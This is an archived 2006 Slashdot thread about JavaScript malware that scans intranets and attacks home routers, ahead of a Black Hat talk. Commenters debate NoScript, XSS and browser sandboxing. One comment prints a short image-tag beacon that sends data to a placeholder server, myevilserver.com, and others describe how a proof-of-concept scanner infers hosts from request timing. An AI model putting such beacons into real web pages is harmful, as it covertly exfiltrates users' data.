Stories
Slash Boxes
Comments

News for nerds, stuff that matters

JavaScript Malware Open The Door to the Intranet

Posted by Zonk on Sun Jul 30, 2006 06:36 AM
from the anybody-home dept.
An anonymous reader writes "C|Net is reporting that JavaScript malware is opening the door for hackers to attack internal networks. During the Black Hat Briefings conference Jeremiah Grossman (CTO, WhiteHat Security) '...will be showing off how to get the internal IP address, how to scan internal networks, how to fingerprint and how to enter DSL routers ... As we're attacking the intranet using the browser, we're taking complete control over the browser.' According the the article, the presence of cross-site scripting vulnerabilities (XSS) dramatically increase the possible damage that can be caused. The issue also not which-browser-is-more-secure, as all major browsers are equally at risk. Grossman says 'The users really are at the mercy of the Web sites they visit. Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it.'"

Related Stories

This discussion has been archived. No new comments can be posted.
Display Options Threshold:
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
  • by Ohreally_factor (593551) on Sunday July 30 2006, @06:39AM (#15810484)
    (Last Journal: Sunday November 27 2005, @02:29PM)
    Caveman Zonk edit headline bad.
  • NoScript (Score:5, Informative)

    by dvice_null (981029) on Sunday July 30 2006, @06:45AM (#15810499)
    Why can't users just install Firefox and NoScript extension for it. Then Javascript will be disabled by default, but user can whitelist the sites where Javascript should be enabled. Problem solved.
    • Re:NoScript (Score:5, Informative)

      by rdwald (831442) on Sunday July 30 2006, @06:59AM (#15810530)
      In addition to blocking JavaScript on non-whitelisted sites, NoScript also prevents Flash and Java from loading unless you specifically allow them on a case-by-case basis. All of those stupid Flash adds will be gone, but you can still view everything you want to! It's a great extension.
      [ Parent ]
    • Re:NoScript (Score:5, Insightful)

      by Anonymous Coward on Sunday July 30 2006, @07:00AM (#15810533)
      The problem is not necessiarly the web browsers (and most don't even use Firefox let alone have even heard of that that extension). The problem is the websites that don't properly take steps to protect against XSS (e.g. HTMLencode user input).

      Most recently we saw this problem in Netscape's portal.

      http://blog.outer-court.com/archive/2006-07-26-n73 .html [outer-court.com]

      Developers need to start thinking not only about how to solve the particular business problem but also about how their code could be potentially abused by attackers and take active steps to mitigate that risk.
      [ Parent ]
      • Re:NoScript by Asztal_ (Score:2) Sunday July 30 2006, @07:58AM
        • Re:NoScript by Anonymous Coward (Score:1) Sunday July 30 2006, @09:27AM
      • Re:NoScript by justinchudgar (Score:1) Sunday July 30 2006, @08:57AM
    • Re:NoScript by Anonymous Coward (Score:3) Sunday July 30 2006, @07:01AM
    • Problem Solved? by Petersko (Score:3) Sunday July 30 2006, @07:09AM
    • Re:NoScript by QuietLagoon (Score:2) Sunday July 30 2006, @07:24AM
      • 1 reply beneath your current threshold.
    • Re:NoScript by sowth (Score:1) Sunday July 30 2006, @09:06AM
      • Re:NoScript by BalanceOfJudgement (Score:2) Sunday July 30 2006, @10:40AM
      • Re:NoScript by mattyrobinson69 (Score:3) Sunday July 30 2006, @02:57PM
    • Re:NoScript by Jessta (Score:1) Sunday July 30 2006, @09:07AM
      • Re:NoScript by jdbartlett (Score:2) Sunday July 30 2006, @12:34PM
    • Re:NoScript by Rob Kaper (Score:2) Sunday July 30 2006, @09:10AM
    • Re:NoScript by Ckwop (Score:2) Sunday July 30 2006, @11:15AM
      • Re:NoScript by fbjon (Score:2) Monday July 31 2006, @07:32AM
    • Re:NoScript by scum-e-bag (Score:2) Sunday July 30 2006, @10:02PM
    • Re:NoScript by jdbartlett (Score:2) Sunday July 30 2006, @12:19PM
    • Re:NoScript by IpalindromeI (Score:2) Monday July 31 2006, @09:49AM
    • 5 replies beneath your current threshold.
  • Giving JavaScript the power to do random network accesses may make AJAX possible, but code running in my browser has no business accessing my local intranet. For that matter, I'm uncomfortable with JavaScript applications 'phoning home' without my knowledge.

    So, the fix is to treat all attempts by JavaScript in a browser as 'hostile until proven otherwise', and to ask for user confirmation when such attempts happen. Put a firewall around the browser and treat any code running in it as dangerous by default.

    I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.
    • Giving JavaScript the power to do random network accesses may make AJAX possible

      The XmlHttpRequest functionality doesn't allow "random network access", but instead is limited to calling the source website (in all browsers but IE. In IE the requests can go anywhere).

      I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.

      Fix what though? The submission seems to be that someone has a big surprize that they're going to release at a conference, and for all we know they could be full of shit, talking big to get a lot of attention. Personally I would rather that this story was shelved until there's actual details that can be addressed/rebutted. Instead it's like lame nightly news teasers.

      "Coming tonight at 11 - Someting ordinary in your home that can KILL YOU! Now back to The Family Guy."
      [ Parent ]
    • Re:Simple fix to an obvious problem (Score:4, Insightful)

      by Goaway (82658) on Sunday July 30 2006, @06:57AM (#15810527)
      (http://wakaba.c3.cx/)
      document.createElement("img");
      img.src="http://myevilserver.com/phonehome.cgi?evi lspyingdata="+encodeURIComponent(evilspyingdata);
      document.body.appendElement(img);


      Oops! I just phoned home without using XMLHttpRequest! How are you going to firewall that one out?
      [ Parent ]
    • Re:Simple fix to an obvious problem (Score:4, Insightful)

      by roman_mir (125474) on Sunday July 30 2006, @10:23AM (#15811251)
      (http://booktextmark.mozdev.org/)
      this is not insightful, it's silly. This is not even about JAVASCRIPT. An HTML page can access resources from anywhere on the web. And so if JAVASCRIPT is used to access one of those resources (an http request, as in HTML IMAGE tag for example,) then this problem cannot be fixed at JAVASCRIPT level.

      An HTML page can access an image on a third party server via a normal html tag, a javascript can facilitate that access, that's about it. In that http request parameters can be hidden that provide information about your session.

      The trick with JAVASCRIPT scanning your local network is actually this exact feature: a browser allowing HTML page to load resources from anywhere on the network. JAVASCRIPT is used to manipulate the DOM of the HTML, the GUI event model and the http requests. So the fundamental question is this: should and HTML page be allowed in principle to access resources from third party servers and not from its own server.

      But then you are questioning the entire Hyper Text idea - the linking of the Internet.

      This most certainly will not be fixed in the next release of ANY browser.
      [ Parent ]
    • 1 reply beneath your current threshold.
  • How's this news? (Score:2, Insightful)

    by Anonymous Coward on Sunday July 30 2006, @06:55AM (#15810516)
    A portscanner in javascript is trivial and it runs on the client machine behind the corporate firewall. This isn't news, this has been common knowledge for ever. This is why javascript is disabled throughout any organization that takes security seriously. I find it amusing that this only gets planted in the news when certain large tech companies are pushing ajax to replace desktop apps.


    It's not just javascript, flash content, activeX and java applets should all be disabled site-wide. Any network admin that leaves js enabled in browsers (acrobat reader etc) should probably seek employment in some other field. Anything less is irresponsible!

    • Oh well, let's prevent people doing their jobs by Flying pig (Score:3) Sunday July 30 2006, @09:20AM
      • 1 reply beneath your current threshold.
    • Re:How's this news? (Score:5, Informative)

      by liquidpele (663430) on Sunday July 30 2006, @11:07AM (#15811520)
      (http://sitetheory.com/ | Last Journal: Friday October 24 2003, @10:59AM)
      Actually, organizations that take security seriously usually still have javascript enabled, but they secure their damn networks so that once you're past the external firewall, you're still blocked from anything interesting.

      Having only one layer of security is the problem at hand here, not javascript. Javascript is incredably useful, and disabling is certainly not the best answer for most places (I can see govt organizations or sensitive research sections of companies doing this though, but then again why event allow net access at that point?)
      [ Parent ]
    • Re:How's this news? by Anonymous Coward (Score:1) Sunday July 30 2006, @08:47AM
    • 1 reply beneath your current threshold.
  • NoScript extension could be a saviour (Score:5, Informative)

    by CdBee (742846) on Sunday July 30 2006, @07:03AM (#15810538)
    For about a year now I routinely install a whitelisting firefox extension called NoScript [noscript.net]
    It blocks javascript per-site until I choose to whitelist the site: Not only do I get a great deal fewer annoyances interrupting my browsing, but it also cuts out a lot of web advertising (the AdBlock extension makes my browser drag when fully loaded with filters)
    • 1 reply beneath your current threshold.
  • WMVs (Score:4, Insightful)

    by CosmeticLobotamy (155360) on Sunday July 30 2006, @07:16AM (#15810571)
    This is slightly off-topic, but it's kind of relevent to the solution of turning javascript off. Can anyone explain to me why javascript is required in Firefox to open a .wmv file (in windows, obviously)? And more importantly, what bug makes Firefox crash about 33% of the time when visiting a site that has one on it when javascript is disabled? What are the odds that bug is overflow exploitable?
    • Re:WMVs by CosmeticLobotamy (Score:2) Sunday July 30 2006, @12:53PM
      • Re:WMVs by CosmeticLobotamy (Score:2) Sunday July 30 2006, @12:55PM
      • Re:WMVs by evilviper (Score:2) Sunday July 30 2006, @11:17PM
        • Re:WMVs by CosmeticLobotamy (Score:2) Tuesday August 01 2006, @07:12PM
          • Re:WMVs by evilviper (Score:2) Tuesday August 01 2006, @08:39PM
    • 1 reply beneath your current threshold.
  • by Anonymous Coward on Sunday July 30 2006, @07:56AM (#15810655)
    I have been asking for years why we can't disable javascript for all but trusted sites (in phoenix/firefox/etc) via a config facility.. The default when browsing should be OFF.

    Websites need to stop using javascript for conveying simple information. That Flash crap too. Most people just laugh when I say javascript is a security hole.

  • by John.Thompson (199699) on Sunday July 30 2006, @08:08AM (#15810701)
    And it found some, but not all the web-enabled devices on my network. It found my web server and correctly identified it as Apache, found the squid proxy running on the gateway/firewall machine (identified as "unknown"), but failed to find my wireless router (through which it had to pass in order to see the rest of my network), or my print server. It also identified as "exists" several IP addresses on which no machine or device exists.

    But the Firefox "NoScript" extension completely blocked it until I told it to temporarily allow the host site.
  • Javascript Haters Society (Score:4, Insightful)

    by bateleur (814657) on Sunday July 30 2006, @08:14AM (#15810718)
    So in response to a post saying a particular technology has security holes, the consensus "solution" is not to use that technology?

    That seems weak to me. By all means propose replacement solutions that do the same job, but by saying "don't use it" all you're really doing is saying "I personally have little use for it".

    Sysadmins should all disable Javascript?! Fine, go ahead, I'll move to a company with less demanding security requirements. You'll find your network's impressively secure once there are no users left.
  • by Skiron (735617) on Sunday July 30 2006, @08:33AM (#15810757)
    (http://www.linicks.net/)
    ...I think this is only relevant to IE and MS [again]. As to sending commands to a 'router' to turn on wireless (if I even had a router that had wireless) is pants unless the 'owner' of the router wasn't the person using it (i.e. an ISP package). The interface must be open to allow this to happen.

    So, the problem is with MS (again) and 'harry home owner' type people that don't have a clue about anything, so just run with the flow [OK].
  • Missing the point (Score:4, Interesting)

    by Minwee (522556) <dcr@neverwhen.net> on Sunday July 30 2006, @08:54AM (#15810835)
    (http://www.neverwhen.net/)
    "Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it."

    Yes it is. Users could also politely point out to the authors and administrators of the majority of web sites which rely on javascript that they really, absolutely, positively don't need it. You don't need javascript to open a link to another page. You don't need javascript to open an image in a gallery. You don't need javascript to submit a username and password. You just don't need it. I would say that using scripted actions for that is lazy and stupid, but it actually involves a good deal more work than using proper HTML. That makes it just plain stupid.

    For the rare applications which actually require javascript and don't just use it as some kind of prostetic weiner replacement there is always the option of enabling scripting on a site by site basis. Turning scripting on for http://trusted.internal.site.on.your.local.net/ [local.net] but not for http://random.russian.warez.and.porn.site/ [porn.site] really is a solution.

    • Re:Missing the point by Dachannien (Score:2) Sunday July 30 2006, @09:19AM
    • You don't need it - you want it. (Score:5, Insightful)

      by gnuman99 (746007) on Sunday July 30 2006, @10:52AM (#15811427)
      You don't need javascript to open a link to another page. You don't need javascript to open an image in a gallery. You don't need javascript to submit a username and password. You just don't need it.

      You don't need it - you want it. You want it to make the entire web experience better.

      From a security standpoint, everyone should be on lynx or similar browser. From the user standpoint, Javascript is essential (see maps.google.com, or gmail) for a good web experience. Images are fundamental. Web is not static HTML any more. We now live in the world of DHTML and security is just going to have to deal with it.

      Javascript is broken if it allows you to access other than non-remote resources (ie. from original website) and some settings available to it from the browser (windows size, etc..). That's what it is there for and other uses should be disabled. We already see it with the JS popup blockers. Similar security for network accesses should suffice.

      Similarly with Java, Flash and other things.
      [ Parent ]
    • Re:Missing the point by ultracosm (Score:1) Sunday July 30 2006, @11:43AM
  • Oses or third parties now have an opportunity:

    Sandbox web-enabled applications, either individually or as a set.

    Even better: Sandbox sessions. Any address I type into my web browser, any link I open from a saved bookmark, or any link I open with a "open in new sandbox" command, gets a new sandbox.

    For home users, sandboxes get access to just the default gateway, they can't touch 127.0.0.1 or 192.168.1.x. They get read-only access to parts of the filesystem, such as where Java applets are stored, and read-write access to their own temporary space and, optionally, a directory where users can save files by hand. Alternatively they may get "dropbox"/read-directories/write-files access to other parts of the filesystem, such as directories the current user can write to.
  • by shwonline (992049) on Sunday July 30 2006, @09:04AM (#15810869)
    Ah, the simpler days of gray backgrounds and Times New Roman. None of these fancy tables, neither. And we had to walk 5 miles to school, uphill, in snow up to our hips. And 10 miles uphill to get back home. Kids today with their fancy JavaScript. No appreciation, none at all.
  • FIrefox NoScript? (Score:2, Interesting)

    by kintarowins (820651) on Sunday July 30 2006, @09:05AM (#15810871)

    How anyone can just not use a simple extension to block scripts, flash, java, etc like the Firefox NoScript extension is just confusing to me. People actually seem to want to run foreign applications on their system through sites which can quite easily load anything they want.

    Make it clear to your family that the modern Internet is like the real world. Protecting your computer with either a secure Internet Explorer (eg: the default Windows 2003 IE config) or Mozilla Firefox (with the NoScript and CookieSafe) configuration is like leaving your car unlocked in a inner-suburb train station... It will get broken into!

    For those affected by these issues: welcome to the real world. Grow up, plug in, learn what the hell your doing on this internet.

    You should need a licence to even have an Internet Connection.

  • by makomk (752139) on Sunday July 30 2006, @09:07AM (#15810878)
    (Last Journal: Friday August 17, @08:29AM)
    The detection of IP addressed that aren't running webservers seems to depend entirely on the time taken for the request to fail - long delays are detected as non-existent IP addresses, whereas short ones are reported as IP addresses without a webserver. This doesn't always work - it seems to give false positives if the IP address is detected as nonexistent too quickly, and could give false negatives on slow or unreliable links.

    In addition, if a machine has a webserver on it but requests for / give an error, it is detected as having no webserver. This gets particularly interesting with webservers that require HTTP authentication to access any page, and where the browser doesn't have the login stored: a password dialog pops up, and if you don't respond fast enough, the IP address is detected as non-existent. In addition, unless you enter the correct username and password, the machine is detected as not having a webserver.

    Finally, although they can carry out whatever GET requests they like, the only information about the response they can get is whether the request succeeded or failed. (They could probably do POSTs too, but I'm not sure if they'd even be able to get that much information back).
  • by mrkitty (584915) on Sunday July 30 2006, @09:11AM (#15810893)
    (http://www.cgisecurity.com/)

    Cross Site Scripting [cgisecurity.com] FAQ
  • by master_p (608214) on Sunday July 30 2006, @09:47AM (#15811071)
    Wide Area Network distributed computing has evolved in a bad way. Web standards are not designed for remote interactive applications and operating systems are not designed for executing remote code.

    We just need to redesign the thing from the bottom up, now that we have learned the ups and downs.
  • Please kill JavaScript. (Score:2, Insightful)

    by Anonymous Coward on Sunday July 30 2006, @09:58AM (#15811120)
    The vast, vast majority of exploits involve JavaScript in one way or another. If it were possible to just "turn off" JavaScript world-wide overnight, the number of exploits would drop down substantially. Of course you would still have the "stupid user" problem, but you can only do so much to combat that.

    As far as browsers are concerned, a large percentage of exploits are being written by / for criminal elements for profit. To this end, they maximize their profit potential by targeting the most prolific browser. For now, FireFox and others are relatively safe. We have seen a few things come out lately, but they are really just toys compared to what is out there for Internet Explorer. These people writing the exploits are, unfortunately, rather smart and clever. When it becomes econically feasible for them to target FireFox / Mozilla / whatever, make no mistake about it: they will. That is when we will see how secure that software really is.

    This is where people bring up the IIS vs Apache argument. My only answer to that is that there is little money to be made in compromising web servers. There are a few cases of corporate espoionage, but most of the time it is ego-driven: defacement, spreading worms, etc. A competent webadmin will eventually discover the breach and fix the system, so there is not a long window of opportunity. Compromising millions of home users' PCs without them even knowing it is much better profit-wise; you can spam the shit out of anything pretty much with impunity, and people will pay you good money to do it. So these kinds of people target what they are familiar with: Microsoft. I think compatibility also plays a role. Any Windows server running IIS can run any Windows binary. This is patently untrue of Linux servers running Apache; there are so many different combinations of distributions, libraries, and architectures that binary compatibility is very small if it even exists. Microsoft is an easy target because it is such a monoculture.
  • Fix the stupid bugs (Score:2, Insightful)

    by Myria (562655) on Sunday July 30 2006, @10:43PM (#15814851)
    JavaScript is not *supposed* to be able to do bad things like this. It has many safeguards built into it to avoid this.

    The real problem is that the browsers have bad code in their JavaScript implementations. This is what needs to be fixed.

    Also, web browsers probably should run using CreateRestrictedToken. I wish web browsers would run with lower privilege than your normal user applications. You could have 2 processes, one that runs at normal privilege and one that runs as a restricted token. Almost the entire browser would be under the restricted token. Really, the only exceptions should be when downloading or uploading files, at the user's request of course. Such things can be done over interprocess communication with a well-defined and hardened interface.

    I guess that the big problem is that NT and Linux don't really have a way to do this. The only way I can think of this working is for the browser to run as a separate user account. That requires administrator access to set up, as does running a second process as a different user.

    Melissa
  • by berendes (649537) on Monday July 31 2006, @04:55PM (#15820931)
    I ran the SPI Dynamics proof of concept [spidynamics.com] page and it identified various hosts on our intranet. Of course, the interesting stuff (router, firewall, Snapserver) is protected with non-default passwords, but for convenience's sake, I often stay logged in or Firefox defaults my passwords in, so yikes!.

    Questions:

    1. Doesn't this really hinge on what you can do with an image url, and if so, why couldn't you use it to screw up my Gmail account (if I'm already logged in), or my credit card account -- anything where there is an easily discoverable fingerprint and protocol for interesting hacking? Why limit yourself to intranet shenanigans?
    2. Once you knew what you were attacking (my Netopia router, my Diner's Club online site), what are the limits of what the technology could do?
  • Re:A solution to this problem. (Score:2, Insightful)

    by Goaway (82658) on Sunday July 30 2006, @07:19AM (#15810578)
    (http://wakaba.c3.cx/)
    Except that, you know, maybe they want to actually use JavaScript apps on their intranet?
    [ Parent ]
    • 1 reply beneath your current threshold.
  • by CTho9305 (264265) on Sunday July 30 2006, @10:51AM (#15811413)
    (http://ctho.ath.cx/)
    Yeah, because there are no [ctho.ath.cx] good [ctho.ath.cx] uses [ctho.ath.cx] at [ctho.ath.cx] all [ctho.ath.cx].
    [ Parent ]
    • 1 reply beneath your current threshold.
  • Re:A solution to this problem. (Score:3, Informative)

    by aztracker1 (702135) on Sunday July 30 2006, @01:25PM (#15812293)
    (http://www.theroughnecks.net/)
    And for your intranet server, that *IS* likely to need scripting, ex: an internal wiki, or bulletin board that uses one of the fancy html editors?
    [ Parent ]
  • by alienmole (15522) on Sunday July 30 2006, @08:30PM (#15814312)
    The simple solution is to disable javascript and insist web sites work without it.
    I've been doing that with Flash for years. Unfortunately, it doesn't seem to have had much effect.
    [ Parent ]
  • 11 replies beneath your current threshold.